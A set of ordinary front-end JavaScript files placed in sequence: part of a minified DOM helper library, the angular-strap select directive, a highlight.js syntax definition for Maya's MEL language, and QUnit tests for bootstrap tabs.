t.matches=t.matches||t.msMatchesSelector||t.webkitMatchesSelector,t.matches(e||"*")};return"function"==typeof e&&(t=e),e instanceof u&&(t=function(t){return-1!==e.nodes.indexOf(t)}),u(this.nodes.filter(t))},u.prototype.find=function(e){return this.map(function(t){return u(e||"*",t)})},u.prototype.first=function(){return this.nodes[0]||!1},u.prototype.generate=function(t){return/^\s*<tr[> ]/.test(t)?u(document.createElement("table")).html(t).children().children().nodes:/^\s*<t(h|d)[> ]/.test(t)?u(document.createElement("table")).html(t).children().children().children().nodes:/^\s*</.test(t)?u(document.createElement("div")).html(t).children().nodes:document.createTextNode(t)},u.prototype.handle=function(){var t=this.slice(arguments).map(function(e){return"function"==typeof e?function(t){t.preventDefault(),e.apply(this,arguments)}:e},this);return this.on.apply(this,t)},u.prototype.hasClass=function(){return this.is("."+this.args(arguments).join("."))},u.prototype.html=function(e){return void 0===e?this.first().innerHTML||"":this.each(function(t){t.innerHTML=e})},u.prototype.is=function(t){return 0<this.filter(t).length},u.prototype.isInPage=function(t){return t!==document.body&&document.body.contains(t)},u.prototype.last=function(){return this.nodes[this.length-1]||!1},u.prototype.map=function(t){return t?u(this.array(t)).unique():this},u.prototype.not=function(e){return this.filter(function(t){return!u(t).is(e||!0)})},u.prototype.off=function(t,e,n){var r=null==e&&null==n,o=null,i=e;return"string"==typeof e&&(o=e,i=n),this.eacharg(t,function(e,n){u(e._e?e._e[n]:[]).each(function(t){(r||t.orig_callback===i&&t.selector===o)&&e.removeEventListener(n,t.callback)})})},u.prototype.on=function(t,e,o){var i=null,n=e;"string"==typeof e&&(i=e,n=o,e=function(e){var n=arguments,r=!1;u(e.currentTarget).find(i).each(function(t){if(t===e.target||t.contains(e.target)){r=!0;try{Object.defineProperty(e,"currentTarget",{get:function(){return t}})}catch(t){}o.apply(t,n)}}),r||e.currentTarget!==e.target||o.apply(e.target,n)});var r=function(t){return e.apply(this,[t].concat(t.detail||[]))};return this.eacharg(t,function(t,e){t.addEventListener(e,r),t._e=t._e||{},t._e[e]=t._e[e]||[],t._e[e].push({callback:r,orig_callback:n,selector:i})})},u.prototype.pairs=function(n,t,e,r){if(void 0!==t){var o=n;(n={})[o]=t}return"object"==typeof n?this.each(function(t){for(var e in n)r(t,e,n[e])}):this.length?e(this.first(),n):""},u.prototype.param=function(e){return Object.keys(e).map(function(t){return this.uri(t)+"="+this.uri(e[t])}.bind(this)).join("&")},u.prototype.parent=function(t){return this.map(function(t){return t.parentNode}).filter(t)},u.prototype.prepend=function(t,e){return this.adjacent(t,e,function(t,e){t.insertBefore(e,t.firstChild)})},u.prototype.remove=function(){return this.each(function(t){t.parentNode&&t.parentNode.removeChild(t)})},u.prototype.removeClass=function(){return this.eacharg(arguments,function(t,e){t.classList.remove(e)})},u.prototype.replace=function(t,e){var n=[];return this.adjacent(t,e,function(t,e){n=n.concat(this.slice(e.children)),t.parentNode.replaceChild(e,t)}),u(n)},u.prototype.scroll=function(){return this.first().scrollIntoView({behavior:"smooth"}),this},u.prototype.select=function(t,e){return t=t.replace(/^\s*/,"").replace(/\s*$/,""),/^</.test(t)?u().generate(t):(e||document).querySelectorAll(t)},u.prototype.serialize=function(){var r=this;return this.slice(this.first().elements).reduce(function(e,n){return!n.name||n.disabled||"file"===n.type?e:/(checkbox|radio)/.test(n.type)&&!n.checked?e:"select-multiple"===n.type?(u(n.options).each(function(t){t.selected&&(e+="&"+r.uri(n.name)+"="+r.uri(t.value))}),e):e+"&"+r.uri(n.name)+"="+r.uri(n.value)},"").slice(1)},u.prototype.siblings=function(t){return this.parent().children(t).not(this)},u.prototype.size=function(){return this.first().getBoundingClientRect()},u.prototype.slice=function(t){return t&&0!==t.length&&"string"!=typeof t&&"[object Function]"!==t.toString()?t.length?[].slice.call(t.nodes||t):[t]:[]},u.prototype.str=function(e,n){return function(t){return"function"==typeof t?t.call(this,e,n):t.toString()}},u.prototype.text=function(e){return void 0===e?this.first().textContent||"":this.each(function(t){t.textContent=e})},u.prototype.toggleClass=function(t,e){return!!e===e?this[e?"addClass":"removeClass"](t):this.eacharg(t,function(t,e){t.classList.toggle(e)})},u.prototype.trigger=function(t){var o=this.slice(arguments).slice(1);return this.eacharg(t,function(t,e){var n,r={bubbles:!0,cancelable:!0,detail:o};try{n=new window.CustomEvent(e,r)}catch(t){(n=document.createEvent("CustomEvent")).initCustomEvent(e,!0,!0,o)}t.dispatchEvent(n)})},u.prototype.unique=function(){return u(this.nodes.reduce(function(t,e){return null!=e&&!1!==e&&-1===t.indexOf(e)?t.concat(e):t},[]))},u.prototype.uri=function(t){return encodeURIComponent(t).replace(/!/g,"%21").replace(/'/g,"%27").replace(/\(/g,"%28").replace(/\)/g,"%29").replace(/\*/g,"%2A").replace(/%20/g,"+")},u.prototype.val=function(e){return void 0===e?this.first().value:this.each(function(t){t.value=e})},u.prototype.wrap=function(t){return this.map(function(e){return u(t).each(function(t){(function(t){for(;t.firstElementChild;)t=t.firstElementChild;return u(t)})(t).append(e.cloneNode(!0)),e.parentNode.replaceChild(t,e)})})},"object"==typeof module&&module.exports&&(module.exports=u,module.exports.u=u);
/** * angular-strap * @version v2.0.0-rc.1 - 2014-01-28 * @link http://mgcrea.github.io/angular-strap * @author [object Object] * @license MIT License, http://www.opensource.org/licenses/MIT */ 'use strict'; angular.module('mgcrea.ngStrap.select', [ 'mgcrea.ngStrap.tooltip', 'mgcrea.ngStrap.helpers.parseOptions' ]).provider('$select', function () { var defaults = this.defaults = { animation: 'animation-fade', prefixClass: 'select', placement: 'bottom-left', template: 'select/select.tpl.html', trigger: 'focus', container: false, keyboard: true, html: false, delay: 0, multiple: false, sort: true, caretHtml: '&nbsp;<span class="caret"></span>', placeholder: 'Choose among the following...' }; this.$get = [ '$window', '$document', '$rootScope', '$tooltip', function ($window, $document, $rootScope, $tooltip) { var bodyEl = angular.element($window.document.body); var isTouch = 'createTouch' in $window.document; function SelectFactory(element, controller, config) { var $select = {}; var options = angular.extend({}, defaults, config); $select = $tooltip(element, options); var parentScope = config.scope; var scope = $select.$scope; scope.$matches = []; scope.$activeIndex = 0; scope.$isMultiple = options.multiple; scope.$activate = function (index) { scope.$$postDigest(function () { $select.activate(index); }); }; scope.$select = function (index, evt) { scope.$$postDigest(function () { $select.select(index); }); }; scope.$isVisible = function () { return $select.$isVisible(); }; scope.$isActive = function (index) { return $select.$isActive(index); }; $select.update = function (matches) { scope.$matches = matches; if (controller.$modelValue && matches.length) { if (options.multiple && angular.isArray(controller.$modelValue)) { scope.$activeIndex = controller.$modelValue.map(function (value) { return $select.$getIndex(value); }); } else { scope.$activeIndex = $select.$getIndex(controller.$modelValue); } } else if (scope.$activeIndex >= matches.length) { scope.$activeIndex = options.multiple ? [] : 0; } }; $select.activate = function (index) { if (options.multiple) { scope.$activeIndex.sort(); $select.$isActive(index) ? scope.$activeIndex.splice(scope.$activeIndex.indexOf(index), 1) : scope.$activeIndex.push(index); if (options.sort) scope.$activeIndex.sort(); } else { scope.$activeIndex = index; } return scope.$activeIndex; }; $select.select = function (index) { var value = scope.$matches[index].value; $select.activate(index); if (options.multiple) { controller.$setViewValue(scope.$activeIndex.map(function (index) { return scope.$matches[index].value; })); } else { controller.$setViewValue(value); } controller.$render(); if (parentScope) parentScope.$digest(); if (!options.multiple) { if (options.trigger === 'focus') element[0].blur(); else if ($select.$isShown) $select.hide(); } scope.$emit('$select.select', value, index); }; $select.$isVisible = function () { if (!options.minLength || !controller) { return scope.$matches.length; } return scope.$matches.length && controller.$viewValue.length >= options.minLength; }; $select.$isActive = function (index) { if (options.multiple) { return scope.$activeIndex.indexOf(index) !== -1; } else { return scope.$activeIndex === index; } }; $select.$getIndex = function (value) { var l = scope.$matches.length, i = l; if (!l) return; for (i = l; i--;) { if (scope.$matches[i].value === value) break; } if (i < 0) return; return i; }; $select.$onElementMouseDown = function (evt) { evt.preventDefault(); evt.stopPropagation(); if ($select.$isShown) { element[0].blur(); } else { element[0].focus(); } }; $select.$onMouseDown = function (evt) { evt.preventDefault(); evt.stopPropagation(); if (isTouch) { var targetEl = angular.element(evt.target); targetEl.triggerHandler('click'); } }; $select.$onKeyDown = function (evt) { if (!/(38|40|13)/.test(evt.keyCode)) return; evt.preventDefault(); evt.stopPropagation(); if (evt.keyCode === 13) { return $select.select(scope.$activeIndex); } if (evt.keyCode === 38 && scope.$activeIndex > 0) scope.$activeIndex--; else if (evt.keyCode === 40 && scope.$activeIndex < scope.$matches.length - 1) scope.$activeIndex++; else if (angular.isUndefined(scope.$activeIndex)) scope.$activeIndex = 0; scope.$digest(); }; var _init = $select.init; $select.init = function () { _init(); element.on(isTouch ? 'touchstart' : 'mousedown', $select.$onElementMouseDown); }; var _destroy = $select.destroy; $select.destroy = function () { _destroy(); element.off(isTouch ? 'touchstart' : 'mousedown', $select.$onElementMouseDown); }; var _show = $select.show; $select.show = function () { _show(); if (options.multiple) { $select.$element.addClass('select-multiple'); } setTimeout(function () { $select.$element.on(isTouch ? 'touchstart' : 'mousedown', $select.$onMouseDown); if (options.keyboard) { element.on('keydown', $select.$onKeyDown); } }); }; var _hide = $select.hide; $select.hide = function () { $select.$element.off(isTouch ? 'touchstart' : 'mousedown', $select.$onMouseDown); if (options.keyboard) { element.off('keydown', $select.$onKeyDown); } _hide(); }; return $select; } SelectFactory.defaults = defaults; return SelectFactory; } ]; }).directive('bsSelect', [ '$window', '$parse', '$q', '$select', '$parseOptions', function ($window, $parse, $q, $select, $parseOptions) { var defaults = $select.defaults; return { restrict: 'EAC', require: 'ngModel', link: function postLink(scope, element, attr, controller) { var options = { scope: scope }; angular.forEach([ 'placement', 'container', 'delay', 'trigger', 'keyboard', 'html', 'animation', 'template', 'placeholder', 'multiple' ], function (key) { if (angular.isDefined(attr[key])) options[key] = attr[key]; }); var parsedOptions = $parseOptions(attr.ngOptions); var select = $select(element, controller, options); scope.$watch(parsedOptions.$match[7], function (newValue, oldValue) { parsedOptions.valuesFn(scope, controller).then(function (values) { select.update(values); controller.$render(); }); }); controller.$render = function () { var selected, index; if (options.multiple && angular.isArray(controller.$modelValue)) { selected = controller.$modelValue.map(function (value) { index = select.$getIndex(value); return angular.isDefined(index) ? select.$scope.$matches[index].label : false; }).filter(angular.isDefined).join(', '); } else { index = select.$getIndex(controller.$modelValue); selected = angular.isDefined(index) ? select.$scope.$matches[index].label : false; } element.html((selected ? selected : attr.placeholder || defaults.placeholder) + defaults.caretHtml); }; scope.$on('$destroy', function () { select.destroy(); options = null; select = null; }); } }; } ]);
/* Language: MEL Description: Maya Embedded Language Author: Shuen-Huei Guan <drake.guan@gmail.com> Website: http://www.autodesk.com/products/autodesk-maya/overview Category: graphics */ function mel(hljs) { return { name: 'MEL', keywords: 'int float string vector matrix if else switch case default while do for in break ' + 'continue global proc return about abs addAttr addAttributeEditorNodeHelp addDynamic ' + 'addNewShelfTab addPP addPanelCategory addPrefixToName advanceToNextDrivenKey ' + 'affectedNet affects aimConstraint air alias aliasAttr align alignCtx alignCurve ' + 'alignSurface allViewFit ambientLight angle angleBetween animCone animCurveEditor ' + 'animDisplay animView annotate appendStringArray applicationName applyAttrPreset ' + 'applyTake arcLenDimContext arcLengthDimension arclen arrayMapper art3dPaintCtx ' + 'artAttrCtx artAttrPaintVertexCtx artAttrSkinPaintCtx artAttrTool artBuildPaintMenu ' + 'artFluidAttrCtx artPuttyCtx artSelectCtx artSetPaintCtx artUserPaintCtx assignCommand ' + 'assignInputDevice assignViewportFactories attachCurve attachDeviceAttr attachSurface ' + 'attrColorSliderGrp attrCompatibility attrControlGrp attrEnumOptionMenu ' + 'attrEnumOptionMenuGrp attrFieldGrp attrFieldSliderGrp attrNavigationControlGrp ' + 'attrPresetEditWin attributeExists attributeInfo attributeMenu attributeQuery ' + 'autoKeyframe autoPlace bakeClip bakeFluidShading bakePartialHistory bakeResults ' + 'bakeSimulation basename basenameEx batchRender bessel bevel bevelPlus binMembership ' + 'bindSkin blend2 blendShape blendShapeEditor blendShapePanel blendTwoAttr blindDataType ' + 'boneLattice boundary boxDollyCtx boxZoomCtx bufferCurve buildBookmarkMenu ' + 'buildKeyframeMenu button buttonManip CBG cacheFile cacheFileCombine cacheFileMerge ' + 'cacheFileTrack camera cameraView canCreateManip canvas capitalizeString catch ' + 'catchQuiet ceil changeSubdivComponentDisplayLevel changeSubdivRegion channelBox ' + 'character characterMap characterOutlineEditor characterize chdir checkBox checkBoxGrp ' + 'checkDefaultRenderGlobals choice circle circularFillet clamp clear clearCache clip ' + 'clipEditor clipEditorCurrentTimeCtx clipSchedule clipSchedulerOutliner clipTrimBefore ' + 'closeCurve closeSurface cluster cmdFileOutput cmdScrollFieldExecuter ' + 'cmdScrollFieldReporter cmdShell coarsenSubdivSelectionList collision color ' + 'colorAtPoint colorEditor colorIndex colorIndexSliderGrp colorSliderButtonGrp ' + 'colorSliderGrp columnLayout commandEcho commandLine commandPort compactHairSystem ' + 'componentEditor compositingInterop computePolysetVolume condition cone confirmDialog ' + 'connectAttr connectControl connectDynamic connectJoint connectionInfo constrain ' + 'constrainValue constructionHistory container containsMultibyte contextInfo control ' + 'convertFromOldLayers convertIffToPsd convertLightmap convertSolidTx convertTessellation ' + 'convertUnit copyArray copyFlexor copyKey copySkinWeights cos cpButton cpCache ' + 'cpClothSet cpCollision cpConstraint cpConvClothToMesh cpForces cpGetSolverAttr cpPanel ' + 'cpProperty cpRigidCollisionFilter cpSeam cpSetEdit cpSetSolverAttr cpSolver ' + 'cpSolverTypes cpTool cpUpdateClothUVs createDisplayLayer createDrawCtx createEditor ' + 'createLayeredPsdFile createMotionField createNewShelf createNode createRenderLayer ' + 'createSubdivRegion cross crossProduct ctxAbort ctxCompletion ctxEditMode ctxTraverse ' + 'currentCtx currentTime currentTimeCtx currentUnit curve curveAddPtCtx ' + 'curveCVCtx curveEPCtx curveEditorCtx curveIntersect curveMoveEPCtx curveOnSurface ' + 'curveSketchCtx cutKey cycleCheck cylinder dagPose date defaultLightListCheckBox ' + 'defaultNavigation defineDataServer defineVirtualDevice deformer deg_to_rad delete ' + 'deleteAttr deleteShadingGroupsAndMaterials deleteShelfTab deleteUI deleteUnusedBrushes ' + 'delrandstr detachCurve detachDeviceAttr detachSurface deviceEditor devicePanel dgInfo ' + 'dgdirty dgeval dgtimer dimWhen directKeyCtx directionalLight dirmap dirname disable ' + 'disconnectAttr disconnectJoint diskCache displacementToPoly displayAffected ' + 'displayColor displayCull displayLevelOfDetail displayPref displayRGBColor ' + 'displaySmoothness displayStats displayString displaySurface distanceDimContext ' + 'distanceDimension doBlur dolly dollyCtx dopeSheetEditor dot dotProduct ' + 'doubleProfileBirailSurface drag dragAttrContext draggerContext dropoffLocator ' + 'duplicate duplicateCurve duplicateSurface dynCache dynControl dynExport dynExpression ' + 'dynGlobals dynPaintEditor dynParticleCtx dynPref dynRelEdPanel dynRelEditor ' + 'dynamicLoad editAttrLimits editDisplayLayerGlobals editDisplayLayerMembers ' + 'editRenderLayerAdjustment editRenderLayerGlobals editRenderLayerMembers editor ' + 'editorTemplate effector emit emitter enableDevice encodeString endString endsWith env ' + 'equivalent equivalentTol erf error eval evalDeferred evalEcho event ' + 'exactWorldBoundingBox exclusiveLightCheckBox exec executeForEachObject exists exp ' + 'expression expressionEditorListen extendCurve extendSurface extrude fcheck fclose feof ' + 'fflush fgetline fgetword file fileBrowserDialog fileDialog fileExtension fileInfo ' + 'filetest filletCurve filter filterCurve filterExpand filterStudioImport ' + 'findAllIntersections findAnimCurves findKeyframe findMenuItem findRelatedSkinCluster ' + 'finder firstParentOf fitBspline flexor floatEq floatField floatFieldGrp floatScrollBar ' + 'floatSlider floatSlider2 floatSliderButtonGrp floatSliderGrp floor flow fluidCacheInfo ' + 'fluidEmitter fluidVoxelInfo flushUndo fmod fontDialog fopen formLayout format fprint ' + 'frameLayout fread freeFormFillet frewind fromNativePath fwrite gamma gauss ' + 'geometryConstraint getApplicationVersionAsFloat getAttr getClassification ' + 'getDefaultBrush getFileList getFluidAttr getInputDeviceRange getMayaPanelTypes ' + 'getModifiers getPanel getParticleAttr getPluginResource getenv getpid glRender ' + 'glRenderEditor globalStitch gmatch goal gotoBindPose grabColor gradientControl ' + 'gradientControlNoAttr graphDollyCtx graphSelectContext graphTrackCtx gravity grid ' + 'gridLayout group groupObjectsByName HfAddAttractorToAS HfAssignAS HfBuildEqualMap ' + 'HfBuildFurFiles HfBuildFurImages HfCancelAFR HfConnectASToHF HfCreateAttractor ' + 'HfDeleteAS HfEditAS HfPerformCreateAS HfRemoveAttractorFromAS HfSelectAttached ' + 'HfSelectAttractors HfUnAssignAS hardenPointCurve hardware hardwareRenderPanel ' + 'headsUpDisplay headsUpMessage help helpLine hermite hide hilite hitTest hotBox hotkey ' + 'hotkeyCheck hsv_to_rgb hudButton hudSlider hudSliderButton hwReflectionMap hwRender ' + 'hwRenderLoad hyperGraph hyperPanel hyperShade hypot iconTextButton iconTextCheckBox ' + 'iconTextRadioButton iconTextRadioCollection iconTextScrollList iconTextStaticLabel ' + 'ikHandle ikHandleCtx ikHandleDisplayScale ikSolver ikSplineHandleCtx ikSystem ' + 'ikSystemInfo ikfkDisplayMethod illustratorCurves image imfPlugins inheritTransform ' + 'insertJoint insertJointCtx insertKeyCtx insertKnotCurve insertKnotSurface instance ' + 'instanceable instancer intField intFieldGrp intScrollBar intSlider intSliderGrp ' + 'interToUI internalVar intersect iprEngine isAnimCurve isConnected isDirty isParentOf ' + 'isSameObject isTrue isValidObjectName isValidString isValidUiName isolateSelect ' + 'itemFilter itemFilterAttr itemFilterRender itemFilterType joint jointCluster jointCtx ' + 'jointDisplayScale jointLattice keyTangent keyframe keyframeOutliner ' + 'keyframeRegionCurrentTimeCtx keyframeRegionDirectKeyCtx keyframeRegionDollyCtx ' + 'keyframeRegionInsertKeyCtx keyframeRegionMoveKeyCtx keyframeRegionScaleKeyCtx ' + 'keyframeRegionSelectKeyCtx keyframeRegionSetKeyCtx keyframeRegionTrackCtx ' + 'keyframeStats lassoContext lattice latticeDeformKeyCtx launch launchImageEditor ' + 'layerButton layeredShaderPort layeredTexturePort layout layoutDialog lightList ' + 'lightListEditor lightListPanel lightlink lineIntersection linearPrecision linstep ' + 'listAnimatable listAttr listCameras listConnections listDeviceAttachments listHistory ' + 'listInputDeviceAxes listInputDeviceButtons listInputDevices listMenuAnnotation ' + 'listNodeTypes listPanelCategories listRelatives listSets listTransforms ' + 'listUnselected listerEditor loadFluid loadNewShelf loadPlugin ' + 'loadPluginLanguageResources loadPrefObjects localizedPanelLabel lockNode loft log ' + 'longNameOf lookThru ls lsThroughFilter lsType lsUI Mayatomr mag makeIdentity makeLive ' + 'makePaintable makeRoll makeSingleSurface makeTubeOn makebot manipMoveContext ' + 'manipMoveLimitsCtx manipOptions manipRotateContext manipRotateLimitsCtx ' + 'manipScaleContext manipScaleLimitsCtx marker match max memory menu menuBarLayout ' + 'menuEditor menuItem menuItemToShelf menuSet menuSetPref messageLine min minimizeApp ' + 'mirrorJoint modelCurrentTimeCtx modelEditor modelPanel mouse movIn movOut move ' + 'moveIKtoFK moveKeyCtx moveVertexAlongDirection multiProfileBirailSurface mute ' + 'nParticle nameCommand nameField namespace namespaceInfo newPanelItems newton nodeCast ' + 'nodeIconButton nodeOutliner nodePreset nodeType noise nonLinear normalConstraint ' + 'normalize nurbsBoolean nurbsCopyUVSet nurbsCube nurbsEditUV nurbsPlane nurbsSelect ' + 'nurbsSquare nurbsToPoly nurbsToPolygonsPref nurbsToSubdiv nurbsToSubdivPref ' + 'nurbsUVSet nurbsViewDirectionVector objExists objectCenter objectLayer objectType ' + 'objectTypeUI obsoleteProc oceanNurbsPreviewPlane offsetCurve offsetCurveOnSurface ' + 'offsetSurface openGLExtension openMayaPref optionMenu optionMenuGrp optionVar orbit ' + 'orbitCtx orientConstraint outlinerEditor outlinerPanel overrideModifier ' + 'paintEffectsDisplay pairBlend palettePort paneLayout panel panelConfiguration ' + 'panelHistory paramDimContext paramDimension paramLocator parent parentConstraint ' + 'particle particleExists particleInstancer particleRenderInfo partition pasteKey ' + 'pathAnimation pause pclose percent performanceOptions pfxstrokes pickWalk picture ' + 'pixelMove planarSrf plane play playbackOptions playblast plugAttr plugNode pluginInfo ' + 'pluginResourceUtil pointConstraint pointCurveConstraint pointLight pointMatrixMult ' + 'pointOnCurve pointOnSurface pointPosition poleVectorConstraint polyAppend ' + 'polyAppendFacetCtx polyAppendVertex polyAutoProjection polyAverageNormal ' + 'polyAverageVertex polyBevel polyBlendColor polyBlindData polyBoolOp polyBridgeEdge ' + 'polyCacheMonitor polyCheck polyChipOff polyClipboard polyCloseBorder polyCollapseEdge ' + 'polyCollapseFacet polyColorBlindData polyColorDel polyColorPerVertex polyColorSet ' + 'polyCompare polyCone polyCopyUV polyCrease polyCreaseCtx polyCreateFacet ' + 'polyCreateFacetCtx polyCube polyCut polyCutCtx polyCylinder polyCylindricalProjection ' + 'polyDelEdge polyDelFacet polyDelVertex polyDuplicateAndConnect polyDuplicateEdge ' + 'polyEditUV polyEditUVShell polyEvaluate polyExtrudeEdge polyExtrudeFacet ' + 'polyExtrudeVertex polyFlipEdge polyFlipUV polyForceUV polyGeoSampler polyHelix ' + 'polyInfo polyInstallAction polyLayoutUV polyListComponentConversion polyMapCut ' + 'polyMapDel polyMapSew polyMapSewMove polyMergeEdge polyMergeEdgeCtx polyMergeFacet ' + 'polyMergeFacetCtx polyMergeUV polyMergeVertex polyMirrorFace polyMoveEdge ' + 'polyMoveFacet polyMoveFacetUV polyMoveUV polyMoveVertex polyNormal polyNormalPerVertex ' + 'polyNormalizeUV polyOptUvs polyOptions polyOutput polyPipe polyPlanarProjection ' + 'polyPlane polyPlatonicSolid polyPoke polyPrimitive polyPrism polyProjection ' + 'polyPyramid polyQuad polyQueryBlindData polyReduce polySelect polySelectConstraint ' + 'polySelectConstraintMonitor polySelectCtx polySelectEditCtx polySeparate ' + 'polySetToFaceNormal polySewEdge polyShortestPathCtx polySmooth polySoftEdge ' + 'polySphere polySphericalProjection polySplit polySplitCtx polySplitEdge polySplitRing ' + 'polySplitVertex polyStraightenUVBorder polySubdivideEdge polySubdivideFacet ' + 'polyToSubdiv polyTorus polyTransfer polyTriangulate polyUVSet polyUnite polyWedgeFace ' + 'popen popupMenu pose pow preloadRefEd print progressBar progressWindow projFileViewer ' + 'projectCurve projectTangent projectionContext projectionManip promptDialog propModCtx ' + 'propMove psdChannelOutliner psdEditTextureFile psdExport psdTextureFile putenv pwd ' + 'python querySubdiv quit rad_to_deg radial radioButton radioButtonGrp radioCollection ' + 'radioMenuItemCollection rampColorPort rand randomizeFollicles randstate rangeControl ' + 'readTake rebuildCurve rebuildSurface recordAttr recordDevice redo reference ' + 'referenceEdit referenceQuery refineSubdivSelectionList refresh refreshAE ' + 'registerPluginResource rehash reloadImage removeJoint removeMultiInstance ' + 'removePanelCategory rename renameAttr renameSelectionList renameUI render ' + 'renderGlobalsNode renderInfo renderLayerButton renderLayerParent ' + 'renderLayerPostProcess renderLayerUnparent renderManip renderPartition ' + 'renderQualityNode renderSettings renderThumbnailUpdate renderWindowEditor ' + 'renderWindowSelectContext renderer reorder reorderDeformers requires reroot ' + 'resampleFluid resetAE resetPfxToPolyCamera resetTool resolutionNode retarget ' + 'reverseCurve reverseSurface revolve rgb_to_hsv rigidBody rigidSolver roll rollCtx ' + 'rootOf rot rotate rotationInterpolation roundConstantRadius rowColumnLayout rowLayout ' + 'runTimeCommand runup sampleImage saveAllShelves saveAttrPreset saveFluid saveImage ' + 'saveInitialState saveMenu savePrefObjects savePrefs saveShelf saveToolSettings scale ' + 'scaleBrushBrightness scaleComponents scaleConstraint scaleKey scaleKeyCtx sceneEditor ' + 'sceneUIReplacement scmh scriptCtx scriptEditorInfo scriptJob scriptNode scriptTable ' + 'scriptToShelf scriptedPanel scriptedPanelType scrollField scrollLayout sculpt ' + 'searchPathArray seed selLoadSettings select selectContext selectCurveCV selectKey ' + 'selectKeyCtx selectKeyframeRegionCtx selectMode selectPref selectPriority selectType ' + 'selectedNodes selectionConnection separator setAttr setAttrEnumResource ' + 'setAttrMapping setAttrNiceNameResource setConstraintRestPosition ' + 'setDefaultShadingGroup setDrivenKeyframe setDynamic setEditCtx setEditor setFluidAttr ' + 'setFocus setInfinity setInputDeviceMapping setKeyCtx setKeyPath setKeyframe ' + 'setKeyframeBlendshapeTargetWts setMenuMode setNodeNiceNameResource setNodeTypeFlag ' + 'setParent setParticleAttr setPfxToPolyCamera setPluginResource setProject ' + 'setStampDensity setStartupMessage setState setToolTo setUITemplate setXformManip sets ' + 'shadingConnection shadingGeometryRelCtx shadingLightRelCtx shadingNetworkCompare ' + 'shadingNode shapeCompare shelfButton shelfLayout shelfTabLayout shellField ' + 'shortNameOf showHelp showHidden showManipCtx showSelectionInTitle ' + 'showShadingGroupAttrEditor showWindow sign simplify sin singleProfileBirailSurface ' + 'size sizeBytes skinCluster skinPercent smoothCurve smoothTangentSurface smoothstep ' + 'snap2to2 snapKey snapMode snapTogetherCtx snapshot soft softMod softModCtx sort sound ' + 'soundControl source spaceLocator sphere sphrand spotLight spotLightPreviewPort ' + 'spreadSheetEditor spring sqrt squareSurface srtContext stackTrace startString ' + 'startsWith stitchAndExplodeShell stitchSurface stitchSurfacePoints strcmp ' + 'stringArrayCatenate stringArrayContains stringArrayCount stringArrayInsertAtIndex ' + 'stringArrayIntersector stringArrayRemove stringArrayRemoveAtIndex ' + 'stringArrayRemoveDuplicates stringArrayRemoveExact stringArrayToString ' + 'stringToStringArray strip stripPrefixFromName stroke subdAutoProjection ' + 'subdCleanTopology subdCollapse subdDuplicateAndConnect subdEditUV ' + 'subdListComponentConversion subdMapCut subdMapSewMove subdMatchTopology subdMirror ' + 'subdToBlind subdToPoly subdTransferUVsToCache subdiv subdivCrease ' + 'subdivDisplaySmoothness substitute substituteAllString substituteGeometry substring ' + 'surface surfaceSampler surfaceShaderList swatchDisplayPort switchTable symbolButton ' + 'symbolCheckBox sysFile system tabLayout tan tangentConstraint texLatticeDeformContext ' + 'texManipContext texMoveContext texMoveUVShellContext texRotateContext texScaleContext ' + 'texSelectContext texSelectShortestPathCtx texSmudgeUVContext texWinToolCtx text ' + 'textCurves textField textFieldButtonGrp textFieldGrp textManip textScrollList ' + 'textToShelf textureDisplacePlane textureHairColor texturePlacementContext ' + 'textureWindow threadCount threePointArcCtx timeControl timePort timerX toNativePath ' + 'toggle toggleAxis toggleWindowVisibility tokenize tokenizeList tolerance tolower ' + 'toolButton toolCollection toolDropped toolHasOptions toolPropertyWindow torus toupper ' + 'trace track trackCtx transferAttributes transformCompare transformLimits translator ' + 'trim trunc truncateFluidCache truncateHairCache tumble tumbleCtx turbulence ' + 'twoPointArcCtx uiRes uiTemplate unassignInputDevice undo undoInfo ungroup uniform unit ' + 'unloadPlugin untangleUV untitledFileName untrim upAxis updateAE userCtx uvLink ' + 'uvSnapshot validateShelfName vectorize view2dToolCtx viewCamera viewClipPlane ' + 'viewFit viewHeadOn viewLookAt viewManip viewPlace viewSet visor volumeAxis vortex ' + 'waitCursor warning webBrowser webBrowserPrefs whatIs window windowPref wire ' + 'wireContext workspace wrinkle wrinkleContext writeTake xbmLangPathList xform', illegal: '</', contains: [ hljs.C_NUMBER_MODE, hljs.APOS_STRING_MODE, hljs.QUOTE_STRING_MODE, { className: 'string', begin: '`', end: '`', contains: [ hljs.BACKSLASH_ESCAPE ] }, { // eats variables begin: /[$%@](\^\w\b|#\w+|[^\s\w{]|\{\w+\}|\w+)/ }, hljs.C_LINE_COMMENT_MODE, hljs.C_BLOCK_COMMENT_MODE ] }; } export { mel as default };
$(function(){module("bootstrap-tabs");test("should provide no conflict",function(){var a=$.fn.tab.noConflict();ok(!$.fn.tab,"tab was set back to undefined (org value)");$.fn.tab=a});test("should be defined on jquery object",function(){ok($(document.body).tab,"tabs method is defined")});test("should return element",function(){ok($(document.body).tab()[0]==document.body,"document.body returned")});test("should activate element by tab id",function(){var a='<ul class="tabs"><li><a href="#home">Home</a></li><li><a href="#profile">Profile</a></li></ul>';$('<ul><li id="home"></li><li id="profile"></li></ul>').appendTo("#qunit-fixture");$(a).find("li:last a").tab("show");equals($("#qunit-fixture").find(".active").attr("id"),"profile");$(a).find("li:first a").tab("show");equals($("#qunit-fixture").find(".active").attr("id"),"home")});test("should activate element by tab id",function(){var a='<ul class="pills"><li><a href="#home">Home</a></li><li><a href="#profile">Profile</a></li></ul>';$('<ul><li id="home"></li><li id="profile"></li></ul>').appendTo("#qunit-fixture");$(a).find("li:last a").tab("show");equals($("#qunit-fixture").find(".active").attr("id"),"profile");$(a).find("li:first a").tab("show");equals($("#qunit-fixture").find(".active").attr("id"),"home")});test("should not fire closed when close is prevented",function(){$.support.transition=false;stop();$('<div class="tab"/>').bind("show",function(a){a.preventDefault();ok(true);start()}).bind("shown",function(){ok(false)}).tab("show")});test("show and shown events should reference correct relatedTarget",function(){var a='<ul class="drop"><li class="dropdown"><a data-toggle="dropdown" href="#">1</a><ul class="dropdown-menu"><li><a href="#1-1" data-toggle="tab">1-1</a></li><li><a href="#1-2" data-toggle="tab">1-2</a></li></ul></li></ul>';$(a).find("ul>li:first a").tab("show").end().find("ul>li:last a").on("show",function(b){equals(b.relatedTarget.hash,"#1-1")}).on("shown",function(b){equals(b.relatedTarget.hash,"#1-1")}).tab("show")})});
